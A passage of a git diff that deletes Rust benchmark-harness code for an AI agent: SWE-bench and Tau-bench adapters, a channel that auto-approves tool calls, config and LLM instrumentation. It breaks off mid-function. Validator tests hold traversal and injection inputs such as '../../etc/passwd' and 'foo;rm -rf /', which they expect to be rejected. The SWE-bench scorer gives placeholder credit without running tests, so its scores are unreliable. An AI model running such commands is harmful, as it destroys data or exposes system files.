-use std::path::PathBuf; - -use async_trait::async_trait; -use regex::Regex; -use serde::Deserialize; - -use crate::error::BenchError; -use crate::suite::{BenchScore, BenchSuite, BenchTask, TaskSubmission}; - -/// Validate that a string is safe for use as a filesystem path component. -/// Allows alphanumerics, hyphens, underscores, dots, and forward slashes (for nested paths). -/// Rejects absolute paths, `..` traversal, and shell metacharacters. -fn is_safe_path_component(s: &str) -> bool { - !s.is_empty() - && !s.starts_with('/') - && !s.contains("..") - && s.chars() - .all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_' | '.' | '/')) -} - -/// Validate that a repo string matches the expected `owner/repo` GitHub format. -fn is_valid_github_repo(repo: &str) -> bool { - // Match "owner/repo" where both parts are alphanumeric with hyphens/underscores/dots - static REPO_PATTERN: std::sync::LazyLock = - std::sync::LazyLock::new(|| Regex::new(r"^[a-zA-Z0-9._-]+/[a-zA-Z0-9._-]+$").unwrap()); - REPO_PATTERN.is_match(repo) -} - -/// Validate that a string looks like a git ref (hex SHA or valid ref name). -fn is_valid_git_ref(s: &str) -> bool { - !s.is_empty() - && s.chars() - .all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_' | '.' | '/')) - && !s.contains("..") -} - -/// SWE-bench dataset entry. -#[derive(Debug, Deserialize)] -struct SweBenchEntry { - instance_id: String, - repo: String, - base_commit: String, - #[serde(default)] - problem_statement: String, - #[serde(default)] - hints_text: Option, - #[serde(default)] - test_patch: Option, - #[serde(default)] - patch: Option, -} - -/// SWE-bench Pro: real-world software engineering tasks. -/// -/// Each task clones a repo at a specific commit, presents the problem statement, -/// and expects the agent to produce a patch. Scoring runs the test suite. -pub struct SweBenchSuite { - dataset_path: PathBuf, - workspace_dir: PathBuf, - use_docker: bool, -} - -impl SweBenchSuite { - pub fn new( - dataset_path: impl Into, - workspace_dir: impl Into, - use_docker: bool, - ) -> Self { - Self { - dataset_path: dataset_path.into(), - workspace_dir: workspace_dir.into(), - use_docker, - } - } -} - -#[async_trait] -impl BenchSuite for SweBenchSuite { - fn name(&self) -> &str { - "SWE-bench Pro" - } - - fn id(&self) -> &str { - "swe_bench" - } - - async fn load_tasks(&self) -> Result, BenchError> { - let file = std::fs::File::open(&self.dataset_path)?; - let reader = std::io::BufReader::new(file); - let mut tasks = Vec::new(); - - for (line_num, line) in reader.lines().enumerate() { - let line = line?; - let trimmed = line.trim(); - if trimmed.is_empty() { - continue; - } - let entry: SweBenchEntry = serde_json::from_str(trimmed).map_err(|e| { - BenchError::Config(format!("swe_bench line {}: {}", line_num + 1, e)) - })?; - - if !is_safe_path_component(&entry.instance_id) { - return Err(BenchError::Config(format!( - "swe_bench line {}: unsafe instance_id \"{}\"", - line_num + 1, - entry.instance_id, - ))); - } - if !is_valid_github_repo(&entry.repo) { - return Err(BenchError::Config(format!( - "swe_bench line {}: invalid repo format \"{}\"", - line_num + 1, - entry.repo, - ))); - } - if !is_valid_git_ref(&entry.base_commit) { - return Err(BenchError::Config(format!( - "swe_bench line {}: invalid base_commit \"{}\"", - line_num + 1, - entry.base_commit, - ))); - } - - let metadata = serde_json::json!({ - "repo": entry.repo, - "base_commit": entry.base_commit, - "test_patch": entry.test_patch, - "gold_patch": entry.patch, - "use_docker": self.use_docker, - "workspace_dir": self.workspace_dir.to_string_lossy(), - }); - - let prompt = if let Some(ref hints) = entry.hints_text { - format!("{}\n\nHints:\n{}", entry.problem_statement, hints) - } else { - entry.problem_statement - }; - - tasks.push(BenchTask { - id: entry.instance_id, - prompt, - context: Some(format!( - "Repository: {}, Commit: {}", - entry.repo, entry.base_commit - )), - resources: vec![], - tags: vec![format!("repo-{}", entry.repo.replace('/', "-"))], - expected_turns: None, - timeout: None, - metadata, - }); - } - - Ok(tasks) - } - - async fn setup_task(&self, task: &BenchTask) -> Result<(), BenchError> { - let repo = task - .metadata - .get("repo") - .and_then(|v| v.as_str()) - .ok_or_else(|| BenchError::TaskFailed { - task_id: task.id.clone(), - reason: "missing repo in metadata".to_string(), - })?; - let base_commit = task - .metadata - .get("base_commit") - .and_then(|v| v.as_str()) - .ok_or_else(|| BenchError::TaskFailed { - task_id: task.id.clone(), - reason: "missing base_commit in metadata".to_string(), - })?; - - let task_dir = self.workspace_dir.join(&task.id); - - // Clone repo if not already present - if !task_dir.exists() { - let repo_url = format!("https://github.com/{}.git", repo); - let output = tokio::process::Command::new("git") - .args([ - "clone", - "--depth", - "1", - &repo_url, - &task_dir.to_string_lossy(), - ]) - .output() - .await - .map_err(|e| BenchError::TaskFailed { - task_id: task.id.clone(), - reason: format!("git clone failed: {e}"), - })?; - - if !output.status.success() { - let stderr = String::from_utf8_lossy(&output.stderr); - return Err(BenchError::TaskFailed { - task_id: task.id.clone(), - reason: format!("git clone failed: {stderr}"), - }); - } - } - - // Checkout the base commit - let output = tokio::process::Command::new("git") - .args(["checkout", base_commit]) - .current_dir(&task_dir) - .output() - .await - .map_err(|e| BenchError::TaskFailed { - task_id: task.id.clone(), - reason: format!("git checkout failed: {e}"), - })?; - - if !output.status.success() { - // Shallow clone might not have the commit; fetch more history - let _ = tokio::process::Command::new("git") - .args(["fetch", "--unshallow"]) - .current_dir(&task_dir) - .output() - .await; - - let output = tokio::process::Command::new("git") - .args(["checkout", base_commit]) - .current_dir(&task_dir) - .output() - .await - .map_err(|e| BenchError::TaskFailed { - task_id: task.id.clone(), - reason: format!("git checkout retry failed: {e}"), - })?; - - if !output.status.success() { - let stderr = String::from_utf8_lossy(&output.stderr); - return Err(BenchError::TaskFailed { - task_id: task.id.clone(), - reason: format!("git checkout failed: {stderr}"), - }); - } - } - - Ok(()) - } - - async fn teardown_task(&self, task: &BenchTask) -> Result<(), BenchError> { - let task_dir = self.workspace_dir.join(&task.id); - if task_dir.exists() { - // Reset any changes - let _ = tokio::process::Command::new("git") - .args(["checkout", "."]) - .current_dir(&task_dir) - .output() - .await; - let _ = tokio::process::Command::new("git") - .args(["clean", "-fdx"]) - .current_dir(&task_dir) - .output() - .await; - } - Ok(()) - } - - async fn score( - &self, - task: &BenchTask, - submission: &TaskSubmission, - ) -> Result { - // For SWE-bench, scoring requires running the test patch against the agent's changes. - // This is a simplified version that checks if the agent produced any code changes. - - let test_patch = task.metadata.get("test_patch").and_then(|v| v.as_str()); - - if submission.response.is_empty() { - return Ok(BenchScore::fail("no response from agent")); - } - - // If we have a test patch, try to verify the submission - if let Some(_test_patch) = test_patch { - // TODO: Apply agent's patch, then apply test patch, then run tests. - // For now, give partial credit if the agent produced some output. - tracing::warn!( - task_id = %task.id, - "SWE-bench test execution not implemented, returning placeholder 0.25" - ); - Ok(BenchScore::partial( - 0.25, - "test execution not yet implemented; partial credit for response", - )) - } else { - tracing::warn!( - task_id = %task.id, - "no test_patch available, returning placeholder 0.25" - ); - Ok(BenchScore::partial( - 0.25, - "no test_patch available for automated scoring", - )) - } - } -} - -#[cfg(test)] -mod tests { - use super::*; - use std::io::Write; - - #[tokio::test] - async fn test_swe_bench_load() { - let dir = tempfile::tempdir().unwrap(); - let path = dir.path().join("swe.jsonl"); - let mut file = std::fs::File::create(&path).unwrap(); - writeln!( - file, - r#"{{"instance_id": "django__django-12345", "repo": "django/django", "base_commit": "abc123", "problem_statement": "Fix the ORM bug"}}"# - ) - .unwrap(); - - let suite = SweBenchSuite::new(&path, "/tmp/swe-test", false); - let tasks = suite.load_tasks().await.unwrap(); - assert_eq!(tasks.len(), 1); - assert_eq!(tasks[0].id, "django__django-12345"); - assert!(tasks[0].tags.contains(&"repo-django-django".to_string())); - } - - #[tokio::test] - async fn test_swe_bench_scoring_no_response() { - let dir = tempfile::tempdir().unwrap(); - let path = dir.path().join("swe.jsonl"); - let mut file = std::fs::File::create(&path).unwrap(); - writeln!( - file, - r#"{{"instance_id": "s1", "repo": "org/repo", "base_commit": "abc", "problem_statement": "Fix bug"}}"# - ) - .unwrap(); - - let suite = SweBenchSuite::new(&path, "/tmp/swe-test", false); - let tasks = suite.load_tasks().await.unwrap(); - - let submission = TaskSubmission { - response: String::new(), - conversation: vec![], - tool_calls: vec![], - error: None, - }; - let score = suite.score(&tasks[0], &submission).await.unwrap(); - assert_eq!(score.value, 0.0); - } - - #[test] - fn test_is_safe_path_component() { - assert!(is_safe_path_component("django__django-12345")); - assert!(is_safe_path_component("org/repo")); - assert!(is_safe_path_component("abc123")); - assert!(!is_safe_path_component("")); - assert!(!is_safe_path_component("../../etc/passwd")); - assert!(!is_safe_path_component("/etc/passwd")); - assert!(!is_safe_path_component("foo;rm -rf /")); - assert!(!is_safe_path_component("foo bar")); - } - - #[test] - fn test_is_valid_github_repo() { - assert!(is_valid_github_repo("django/django")); - assert!(is_valid_github_repo("org/repo-name")); - assert!(is_valid_github_repo("Org.Name/Repo_v2")); - assert!(!is_valid_github_repo("")); - assert!(!is_valid_github_repo("no-slash")); - assert!(!is_valid_github_repo("too/many/slashes")); - assert!(!is_valid_github_repo("spa ce/repo")); - } - - #[test] - fn test_is_valid_git_ref() { - assert!(is_valid_git_ref("abc123")); - assert!(is_valid_git_ref("deadbeef0123456789abcdef0123456789abcdef")); - assert!(is_valid_git_ref("v1.2.3")); - assert!(is_valid_git_ref("main")); - assert!(!is_valid_git_ref("")); - assert!(!is_valid_git_ref("bad..ref")); - assert!(!is_valid_git_ref("has space")); - assert!(!is_valid_git_ref("semi;colon")); - } - - #[tokio::test] - async fn test_swe_bench_rejects_path_traversal() { - let dir = tempfile::tempdir().unwrap(); - let path = dir.path().join("swe.jsonl"); - let mut file = std::fs::File::create(&path).unwrap(); - writeln!( - file, - r#"{{"instance_id": "../../etc/passwd", "repo": "org/repo", "base_commit": "abc", "problem_statement": "evil"}}"# - ) - .unwrap(); - - let suite = SweBenchSuite::new(&path, "/tmp/swe-test", false); - let err = suite.load_tasks().await.unwrap_err(); - assert!(err.to_string().contains("unsafe instance_id")); - } - - #[tokio::test] - async fn test_swe_bench_rejects_bad_repo() { - let dir = tempfile::tempdir().unwrap(); - let path = dir.path().join("swe.jsonl"); - let mut file = std::fs::File::create(&path).unwrap(); - writeln!( - file, - r#"{{"instance_id": "task1", "repo": "not-a-repo-format", "base_commit": "abc", "problem_statement": "bad"}}"# - ) - .unwrap(); - - let suite = SweBenchSuite::new(&path, "/tmp/swe-test", false); - let err = suite.load_tasks().await.unwrap_err(); - assert!(err.to_string().contains("invalid repo format")); - } -} diff --git a/benchmarks/src/adapters/tau_bench.rs b/benchmarks/src/adapters/tau_bench.rs deleted file mode 100644 index 28c1c965..00000000 --- a/benchmarks/src/adapters/tau_bench.rs +++ /dev/null @@ -1,233 +0,0 @@ -use std::io::BufRead; -use std::path::PathBuf; - -use async_trait::async_trait; -use serde::Deserialize; - -use crate::error::BenchError; -use crate::suite::{BenchScore, BenchSuite, BenchTask, ConversationTurn, TaskSubmission}; - -/// Tau-bench task entry. -#[derive(Debug, Deserialize)] -struct TauBenchEntry { - id: String, - #[serde(default)] - domain: String, - instruction: String, - #[serde(default)] - user_persona: Option, - #[serde(default)] - expected_state: Option, - #[serde(default)] - expected_actions: Vec, - #[serde(default)] - max_turns: Option, -} - -/// Tau-bench: multi-turn tool-calling dialog benchmark. -/// -/// Tests agent ability to handle customer service scenarios with simulated -/// domain APIs (retail, airline). Scoring compares final state against expected. -pub struct TauBenchSuite { - dataset_path: PathBuf, - domain: String, -} - -impl TauBenchSuite { - pub fn new(dataset_path: impl Into, domain: impl Into) -> Self { - Self { - dataset_path: dataset_path.into(), - domain: domain.into(), - } - } -} - -#[async_trait] -impl BenchSuite for TauBenchSuite { - fn name(&self) -> &str { - "Tau-bench" - } - - fn id(&self) -> &str { - "tau_bench" - } - - async fn load_tasks(&self) -> Result, BenchError> { - let file = std::fs::File::open(&self.dataset_path)?; - let reader = std::io::BufReader::new(file); - let mut tasks = Vec::new(); - - for (line_num, line) in reader.lines().enumerate() { - let line = line?; - let trimmed = line.trim(); - if trimmed.is_empty() { - continue; - } - let entry: TauBenchEntry = serde_json::from_str(trimmed).map_err(|e| { - BenchError::Config(format!("tau_bench line {}: {}", line_num + 1, e)) - })?; - - let domain = if entry.domain.is_empty() { - self.domain.clone() - } else { - entry.domain.clone() - }; - - let metadata = serde_json::json!({ - "domain": domain, - "user_persona": entry.user_persona, - "expected_state": entry.expected_state, - "expected_actions": entry.expected_actions, - }); - - tasks.push(BenchTask { - id: entry.id, - prompt: entry.instruction, - context: entry.user_persona.clone(), - resources: vec![], - tags: vec![format!("domain-{domain}")], - expected_turns: entry.max_turns, - timeout: None, - metadata, - }); - } - - Ok(tasks) - } - - async fn score( - &self, - task: &BenchTask, - submission: &TaskSubmission, - ) -> Result { - // Score based on expected actions completion - let expected_actions: Vec = task - .metadata - .get("expected_actions") - .and_then(|v| serde_json::from_value(v.clone()).ok()) - .unwrap_or_default(); - - if expected_actions.is_empty() { - // No expected actions defined; score based on whether agent responded - if submission.response.is_empty() { - return Ok(BenchScore::fail("no response")); - } - return Ok(BenchScore::partial( - 0.5, - "no expected_actions to evaluate against", - )); - } - - // Check which expected actions were actually called - let called: std::collections::HashSet<&str> = - submission.tool_calls.iter().map(|s| s.as_str()).collect(); - let matched = expected_actions - .iter() - .filter(|a| called.contains(a.as_str())) - .count(); - - let ratio = matched as f64 / expected_actions.len() as f64; - if ratio >= 1.0 { - Ok(BenchScore::pass()) - } else if ratio > 0.0 { - Ok(BenchScore::partial( - ratio, - format!( - "{}/{} expected actions completed", - matched, - expected_actions.len() - ), - )) - } else { - Ok(BenchScore::fail(format!( - "0/{} expected actions completed", - expected_actions.len() - ))) - } - } - - async fn next_user_message( - &self, - task: &BenchTask, - conversation: &[ConversationTurn], - ) -> Result, BenchError> { - // Check if we've exceeded max turns - if let Some(max) = task.expected_turns { - let user_turns = conversation - .iter() - .filter(|t| matches!(t.role, crate::suite::TurnRole::User)) - .count(); - if user_turns >= max { - return Ok(None); - } - } - - // Multi-turn simulation requires an LLM to play the customer role. - // Until that's implemented, every scenario is single-turn only. - // TODO: Use LLM to simulate customer based on user_persona. - tracing::warn!( - task_id = %task.id, - "multi-turn simulation not implemented, ending after first turn" - ); - Ok(None) - } -} - -#[cfg(test)] -mod tests { - use super::*; - use std::io::Write; - - #[tokio::test] - async fn test_tau_bench_load() { - let dir = tempfile::tempdir().unwrap(); - let path = dir.path().join("tau.jsonl"); - let mut file = std::fs::File::create(&path).unwrap(); - writeln!( - file, - r#"{{"id": "t1", "instruction": "Return my order", "expected_actions": ["lookup_order", "process_return"], "max_turns": 3}}"# - ) - .unwrap(); - - let suite = TauBenchSuite::new(&path, "retail"); - let tasks = suite.load_tasks().await.unwrap(); - assert_eq!(tasks.len(), 1); - assert_eq!(tasks[0].expected_turns, Some(3)); - } - - #[tokio::test] - async fn test_tau_bench_scoring() { - let dir = tempfile::tempdir().unwrap(); - let path = dir.path().join("tau.jsonl"); - let mut file = std::fs::File::create(&path).unwrap(); - writeln!( - file, - r#"{{"id": "t1", "instruction": "Return order", "expected_actions": ["lookup_order", "process_return"]}}"# - ) - .unwrap(); - - let suite = TauBenchSuite::new(&path, "retail"); - let tasks = suite.load_tasks().await.unwrap(); - - // Partial completion - let submission = TaskSubmission { - response: "I found your order.".to_string(), - conversation: vec![], - tool_calls: vec!["lookup_order".to_string()], - error: None, - }; - let score = suite.score(&tasks[0], &submission).await.unwrap(); - assert_eq!(score.value, 0.5); - assert_eq!(score.label, "partial"); - - // Full completion - let submission = TaskSubmission { - response: "Return processed.".to_string(), - conversation: vec![], - tool_calls: vec!["lookup_order".to_string(), "process_return".to_string()], - error: None, - }; - let score = suite.score(&tasks[0], &submission).await.unwrap(); - assert_eq!(score.value, 1.0); - } -} diff --git a/benchmarks/src/channel.rs b/benchmarks/src/channel.rs deleted file mode 100644 index 83131bb8..00000000 --- a/benchmarks/src/channel.rs +++ /dev/null @@ -1,259 +0,0 @@ -use std::sync::Arc; - -use async_trait::async_trait; -use tokio::sync::{Mutex, mpsc}; -use tokio_stream::wrappers::ReceiverStream; - -use ironclaw::channels::{Channel, IncomingMessage, MessageStream, OutgoingResponse, StatusUpdate}; -use ironclaw::error::ChannelError; - -use crate::results::TraceToolCall; -use crate::suite::ConversationTurn; - -/// Truncate a string to at most `max_bytes` without splitting a UTF-8 character. -fn truncate_str(s: &str, max_bytes: usize) -> &str { - if s.len() <= max_bytes { - return s; - } - let mut end = max_bytes; - while !s.is_char_boundary(end) { - end -= 1; - } - &s[..end] -} - -/// Captured state from a benchmark channel run. -#[derive(Debug, Default)] -pub struct ChannelCapture { - /// All responses the agent sent back. - pub responses: Vec, - /// Tool calls observed (name, success, duration_ms). - pub tool_calls: Vec, - /// Full conversation turns for multi-turn scoring. - pub conversation: Vec, - /// Status messages (for debugging). - pub status_log: Vec, -} - -/// A headless Channel implementation for benchmarking. -/// -/// Modeled after `ReplChannel`: uses mpsc to inject messages and captures -/// all responses and tool status events. Auto-approves tool execution -/// so benchmarks run without user interaction. -pub struct BenchChannel { - /// Sender to inject messages into the agent loop. - msg_tx: mpsc::Sender, - /// Receiver the agent loop reads from (taken once by `start()`). - msg_rx: Mutex>>, - /// Accumulated capture data. - capture: Arc>, -} - -impl BenchChannel { - pub fn new() -> (Self, mpsc::Sender) { - let (tx, rx) = mpsc::channel(64); - let channel = Self { - msg_tx: tx.clone(), - msg_rx: Mutex::new(Some(rx)), - capture: Arc::new(Mutex::new(ChannelCapture::default())), - }; - (channel, tx) - } - - /// Get a handle to the capture data. - pub fn capture(&self) -> Arc> { - Arc::clone(&self.capture) - } -} - -#[async_trait] -impl Channel for BenchChannel { - fn name(&self) -> &str { - "bench" - } - - async fn start(&self) -> Result { - let rx = self - .msg_rx - .lock() - .await - .take() - .ok_or_else(|| ChannelError::StartupFailed { - name: "bench".to_string(), - reason: "start() already called".to_string(), - })?; - Ok(Box::pin(ReceiverStream::new(rx))) - } - - async fn respond( - &self, - _msg: &IncomingMessage, - response: OutgoingResponse, - ) -> Result<(), ChannelError> { - let mut cap = self.capture.lock().await; - cap.responses.push(response.content.clone()); - cap.conversation.push(ConversationTurn { - role: crate::suite::TurnRole::Assistant, - content: response.content, - }); - Ok(()) - } - - async fn send_status( - &self, - status: StatusUpdate, - _metadata: &serde_json::Value, - ) -> Result<(), ChannelError> { - let mut cap = self.capture.lock().await; - - match status { - StatusUpdate::ToolCompleted { ref name, success } => { - cap.tool_calls.push(TraceToolCall { - name: name.clone(), - duration_ms: 0, // We don't have precise per-tool timing here - success, - }); - cap.status_log - .push(format!("tool_completed: {name} success={success}")); - } - StatusUpdate::ApprovalNeeded { ref request_id, .. } => { - // Auto-approve all tools during benchmarks - cap.status_log.push(format!("auto_approved: {request_id}")); - drop(cap); // Release lock before sending - let approval = IncomingMessage::new("bench", "bench-user", "always"); - let _ = self.msg_tx.send(approval).await; - return Ok(()); - } - StatusUpdate::Thinking(ref msg) => { - cap.status_log.push(format!("thinking: {msg}")); - } - StatusUpdate::ToolStarted { ref name } => { - cap.status_log.push(format!("tool_started: {name}")); - } - StatusUpdate::ToolResult { - ref name, - ref preview, - } => { - cap.status_log.push(format!( - "tool_result: {name} -> {}", - truncate_str(preview, 100) - )); - } - StatusUpdate::StreamChunk(_) => {} - StatusUpdate::Status(ref msg) => { - cap.status_log.push(format!("status: {msg}")); - } - StatusUpdate::JobStarted { - ref job_id, - ref title, - .. - } => { - cap.status_log - .push(format!("job_started: {job_id} ({title})")); - } - StatusUpdate::AuthRequired { - ref extension_name, .. - } => { - cap.status_log - .push(format!("auth_required: {extension_name} (auto-skipped)")); - } - StatusUpdate::AuthCompleted { - ref extension_name, - success, - .. - } => { - cap.status_log.push(format!( - "auth_completed: {extension_name} success={success}" - )); - } - } - Ok(()) - } - - async fn broadcast( - &self, - _user_id: &str, - response: OutgoingResponse, - ) -> Result<(), ChannelError> { - let mut cap = self.capture.lock().await; - cap.status_log.push(format!( - "broadcast: {}", - truncate_str(&response.content, 100) - )); - Ok(()) - } - - async fn health_check(&self) -> Result<(), ChannelError> { - Ok(()) - } - - async fn shutdown(&self) -> Result<(), ChannelError> { - Ok(()) - } -} - -#[cfg(test)] -mod tests { - use super::*; - - #[tokio::test] - async fn test_bench_channel_captures_responses() { - let (channel, _tx) = BenchChannel::new(); - let capture = channel.capture(); - - let msg = IncomingMessage::new("bench", "user", "hello"); - let response = OutgoingResponse::text("world"); - channel.respond(&msg, response).await.unwrap(); - - let cap = capture.lock().await; - assert_eq!(cap.responses.len(), 1); - assert_eq!(cap.responses[0], "world"); - assert_eq!(cap.conversation.len(), 1); - } - - #[tokio::test] - async fn test_bench_channel_auto_approves() { - let (channel, _tx) = BenchChannel::new(); - // start() to consume the receiver - let _stream = channel.start().await.unwrap(); - - let status = StatusUpdate::ApprovalNeeded { - request_id: "req-1".to_string(), - tool_name: "shell".to_string(), - description: "run ls".to_string(), - parameters: serde_json::json!({}), - }; - channel - .send_status(status, &serde_json::Value::Null) - .await - .unwrap(); - - // The approval message was sent through msg_tx, - // which means the stream would receive it. - // We can't easily read from the stream in this test without - // consuming it, but we can verify the status log. - let capture_arc = channel.capture(); - let cap = capture_arc.lock().await; - assert!(cap.status_log.iter().any(|s| s.contains("auto_approved"))); - } - - #[tokio::test] - async fn test_bench_channel_captures_tool_events() { - let (channel, _tx) = BenchChannel::new(); - - let status = StatusUpdate::ToolCompleted { - name: "echo".to_string(), - success: true, - }; - channel - .send_status(status, &serde_json::Value::Null) - .await - .unwrap(); - - let capture_arc = channel.capture(); - let cap = capture_arc.lock().await; - assert_eq!(cap.tool_calls.len(), 1); - assert_eq!(cap.tool_calls[0].name, "echo"); - assert!(cap.tool_calls[0].success); - } -} diff --git a/benchmarks/src/config.rs b/benchmarks/src/config.rs deleted file mode 100644 index 3e5e523a..00000000 --- a/benchmarks/src/config.rs +++ /dev/null @@ -1,205 +0,0 @@ -use std::path::{Path, PathBuf}; -use std::time::Duration; - -use serde::Deserialize; - -use crate::error::BenchError; - -/// Top-level bench configuration, loaded from TOML. -#[derive(Debug, Clone, Deserialize)] -pub struct BenchConfig { - /// Where to write results. Default: "./bench-results". - #[serde(default = "default_results_dir")] - pub results_dir: PathBuf, - - /// Per-task timeout. Default: "300s". - #[serde( - default = "default_task_timeout", - deserialize_with = "deserialize_duration" - )] - pub task_timeout: Duration, - - /// How many tasks to run in parallel. Default: 1. - #[serde(default = "default_parallelism")] - pub parallelism: usize, - - /// Model/config matrix entries. At least one required. - #[serde(default)] - pub matrix: Vec, - - /// Suite-specific configuration (passed through to adapter). - #[serde(default = "default_suite_config")] - pub suite_config: toml::Value, -} - -/// A single model/config combination to benchmark. -#[derive(Debug, Clone, Deserialize)] -pub struct MatrixEntry { - /// Label for this configuration (used in results). - pub label: String, - - /// Model identifier. - #[serde(default)] - pub model: Option, -} - -impl BenchConfig { - /// Load from a TOML file. - pub fn from_file(path: &Path) -> Result { - if !path.exists() { - return Err(BenchError::ConfigNotFound { - path: path.to_path_buf(), - }); - } - let content = std::fs::read_to_string(path)?; - let config: BenchConfig = toml::from_str(&content)?; - if config.matrix.is_empty() { - return Err(BenchError::Config( - "config must have at least one [[matrix]] entry".to_string(), - )); - } - Ok(config) - } - - /// Create a minimal config for when no config file is provided. - /// Uses defaults and optional CLI overrides. - pub fn minimal(model: Option) -> Self { - let label = model.as_deref().unwrap_or("default").to_string(); - Self { - results_dir: default_results_dir(), - task_timeout: default_task_timeout(), - parallelism: default_parallelism(), - matrix: vec![MatrixEntry { label, model }], - suite_config: toml::Value::Table(toml::map::Map::new()), - } - } - - /// Get the suite_config as a generic map for adapter use. - pub fn suite_config_map(&self) -> toml::map::Map { - match &self.suite_config { - toml::Value::Table(map) => map.clone(), - _ => toml::map::Map::new(), - } - } - - /// Get a string value from suite_config. - pub fn suite_config_str(&self, key: &str) -> Option { - self.suite_config_map() - .get(key) - .and_then(|v| v.as_str()) - .map(|s| s.to_string()) - } -} - -fn default_suite_config() -> toml::Value { - toml::Value::Table(toml::map::Map::new()) -} - -fn default_results_dir() -> PathBuf { - PathBuf::from("./bench-results") -} - -fn default_task_timeout() -> Duration { - Duration::from_secs(300) -} - -fn default_parallelism() -> usize { - 1 -} - -/// Deserialize a duration from a string like "300s", "5m", etc. -fn deserialize_duration<'de, D>(deserializer: D) -> Result -where - D: serde::Deserializer<'de>, -{ - let s = String::deserialize(deserializer)?; - parse_duration(&s).map_err(serde::de::Error::custom) -} - -fn parse_duration(s: &str) -> Result { - let s = s.trim(); - if let Some(secs) = s.strip_suffix('s') { - secs.trim() - .parse::() - .map(Duration::from_secs) - .map_err(|e| format!("invalid seconds: {e}")) - } else if let Some(mins) = s.strip_suffix('m') { - mins.trim() - .parse::() - .map(|m| Duration::from_secs(m * 60)) - .map_err(|e| format!("invalid minutes: {e}")) - } else { - // Assume seconds if no suffix - s.parse::() - .map(Duration::from_secs) - .map_err(|e| format!("invalid duration '{s}': {e}")) - } -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn test_parse_duration() { - assert_eq!(parse_duration("300s").unwrap(), Duration::from_secs(300)); - assert_eq!(parse_duration("5m").unwrap(), Duration::from_secs(300)); - assert_eq!(parse_duration("60").unwrap(), Duration::from_secs(60)); - } - - #[test] - fn test_minimal_config() { - let config = BenchConfig::minimal(Some("test-model".to_string())); - assert_eq!(config.matrix.len(), 1); - assert_eq!(config.matrix[0].label, "test-model"); - assert_eq!(config.parallelism, 1); - } - - #[test] - fn test_config_rejects_empty_matrix() { - let dir = tempfile::tempdir().unwrap(); - let path = dir.path().join("empty.toml"); - std::fs::write( - &path, - r#" -results_dir = "./results" -task_timeout = "60s" -"#, - ) - .unwrap(); - let err = BenchConfig::from_file(&path).unwrap_err(); - assert!( - err.to_string().contains("at least one [[matrix]]"), - "got: {err}" - ); - } - - #[test] - fn test_config_from_toml() { - let toml_str = r#" -results_dir = "./my-results" -task_timeout = "60s" -parallelism = 2 - -[[matrix]] -label = "fast" -model = "gpt-4o-mini" - -[[matrix]] -label = "full" -model = "claude-3-5-sonnet" - -[suite_config] -dataset_path = "./data/test.jsonl" -"#; - let config: BenchConfig = toml::from_str(toml_str).unwrap(); - assert_eq!(config.results_dir, PathBuf::from("./my-results")); - assert_eq!(config.task_timeout, Duration::from_secs(60)); - assert_eq!(config.parallelism, 2); - assert_eq!(config.matrix.len(), 2); - assert_eq!( - config.suite_config_str("dataset_path").unwrap(), - "./data/test.jsonl" - ); - } -} diff --git a/benchmarks/src/error.rs b/benchmarks/src/error.rs deleted file mode 100644 index 06646c32..00000000 --- a/benchmarks/src/error.rs +++ /dev/null @@ -1,31 +0,0 @@ -use std::path::PathBuf; - -#[derive(Debug, thiserror::Error)] -pub enum BenchError { - #[error("Config error: {0}")] - Config(String), - - #[error("Config file not found: {path}")] - ConfigNotFound { path: PathBuf }, - - #[error("Suite {name} not found. Available: {available}")] - SuiteNotFound { name: String, available: String }, - - #[error("Task {task_id} failed: {reason}")] - TaskFailed { task_id: String, reason: String }, - - #[error("Scoring error for task {task_id}: {reason}")] - Scoring { task_id: String, reason: String }, - - #[error("IO error: {0}")] - Io(#[from] std::io::Error), - - #[error("JSON error: {0}")] - Json(#[from] serde_json::Error), - - #[error("TOML parse error: {0}")] - Toml(#[from] toml::de::Error), - - #[error("Agent error: {0}")] - Agent(#[from] ironclaw::Error), -} diff --git a/benchmarks/src/instrumented_llm.rs b/benchmarks/src/instrumented_llm.rs deleted file mode 100644 index 165261a8..00000000 --- a/benchmarks/src/instrumented_llm.rs +++ /dev/null @@ -1,251 +0,0 @@ -use std::sync::Arc; -use std::sync::atomic::{AtomicU32, Ordering}; -use std::time::Instant; - -use async_trait::async_trait; -use rust_decimal::Decimal; -use rust_decimal::prelude::ToPrimitive; -use tokio::sync::Mutex; - -use ironclaw::error::LlmError; -use ironclaw::llm::{ - CompletionRequest, CompletionResponse, LlmProvider, ToolCompletionRequest, - ToolCompletionResponse, -}; - -/// Recorded metrics from a single LLM call. -#[derive(Debug, Clone)] -#[allow(dead_code)] -pub struct LlmCallRecord { - pub input_tokens: u32, - pub output_tokens: u32, - pub duration_ms: u64, - pub had_tool_calls: bool, -} - -/// Wraps an `LlmProvider` to record per-call metrics. -/// -/// The wrapper is transparent to the agent: it delegates every call -/// to the inner provider and captures token counts and timings. -pub struct InstrumentedLlm { - inner: Arc, - records: Mutex>, - total_input_tokens: AtomicU32, - total_output_tokens: AtomicU32, - call_count: AtomicU32, -} - -impl InstrumentedLlm { - pub fn new(inner: Arc) -> Self { - Self { - inner, - records: Mutex::new(Vec::new()), - total_input_tokens: AtomicU32::new(0), - total_output_tokens: AtomicU32::new(0), - call_count: AtomicU32::new(0), - } - } - - /// Take all recorded call metrics, clearing the internal buffer. - pub async fn take_records(&self) -> Vec { - let mut records = self.records.lock().await; - std::mem::take(&mut *records) - } - - /// Snapshot of total tokens without clearing. - pub fn total_input_tokens(&self) -> u32 { - self.total_input_tokens.load(Ordering::Relaxed) - } - - pub fn total_output_tokens(&self) -> u32 { - self.total_output_tokens.load(Ordering::Relaxed) - } - - pub fn call_count(&self) -> u32 { - self.call_count.load(Ordering::Relaxed) - } - - /// Estimated cost using the inner provider's cost-per-token rates. - pub fn estimated_cost(&self) -> f64 { - let (input_rate, output_rate) = self.inner.cost_per_token(); - let input_cost = - input_rate * Decimal::from(self.total_input_tokens.load(Ordering::Relaxed)); - let output_cost = - output_rate * Decimal::from(self.total_output_tokens.load(Ordering::Relaxed)); - let total = input_cost + output_cost; - total.to_f64().unwrap_or(0.0) - } - - /// Reset all counters and records. - pub async fn reset(&self) { - self.records.lock().await.clear(); - self.total_input_tokens.store(0, Ordering::Relaxed); - self.total_output_tokens.store(0, Ordering::Relaxed); - self.call_count.store(0, Ordering::Relaxed); - } - - async fn record( - &self, - input_tokens: u32, - output_tokens: u32, - duration_ms: 